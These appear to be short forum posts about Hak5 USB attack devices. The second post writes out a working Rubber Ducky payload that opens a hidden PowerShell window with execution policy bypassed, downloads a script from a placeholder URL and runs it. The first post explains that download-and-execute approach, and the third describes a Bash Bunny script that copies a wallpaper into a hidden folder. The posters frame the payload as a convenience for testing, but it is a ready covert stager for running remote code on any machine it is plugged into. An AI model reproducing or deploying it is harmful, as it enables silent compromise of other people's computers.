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  1. This script simply downloads an external script (let's say you have one on your google drive or your website) and downloads through Invoke-WebRequest and executes the downloaded script. Which means you can adjust and upload the script again if it doesn't work properly. For this ducky script I named the script "1.ps1". So as long as you name the new/adjusted script "1.ps1" it will download and run that one.
  2. Hey guys, I just got my rubber ducky and got tired of having to open up my Rubber Duck and transferring the SD card around to test scripts. So I made a little one liner to download and run a .ps1 script. REM Downoad and execute script DEFAULT_DELAY 100 GUI r DELAY 200 STRING powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command md "$env:userprofile\temp"; iwr "<YOUR URL>/1.ps1 -outfile "$env:userprofile\temp\1.ps1"; cd $env:userprofile\temp;sleep 5; & .\1.ps1 ENTER
  3. Just got my Bash Bunny and wanted to use the Wallpaper Changer of Doom, but did not want to be relying on an internet connection. So I rewrote the script so it now copies an image from "root\W" (you'll have to add that folder yourself and add an image) to a super hidden folder "C:\users\<userprofile>\Temp". New to the coding scene. So if you guys have any tips, tricks or improvements on my little code. Please let me know! Link: https://github.com/Jay-Delic/BashBunny_Local-Wallpaper-Changer-of-Doom
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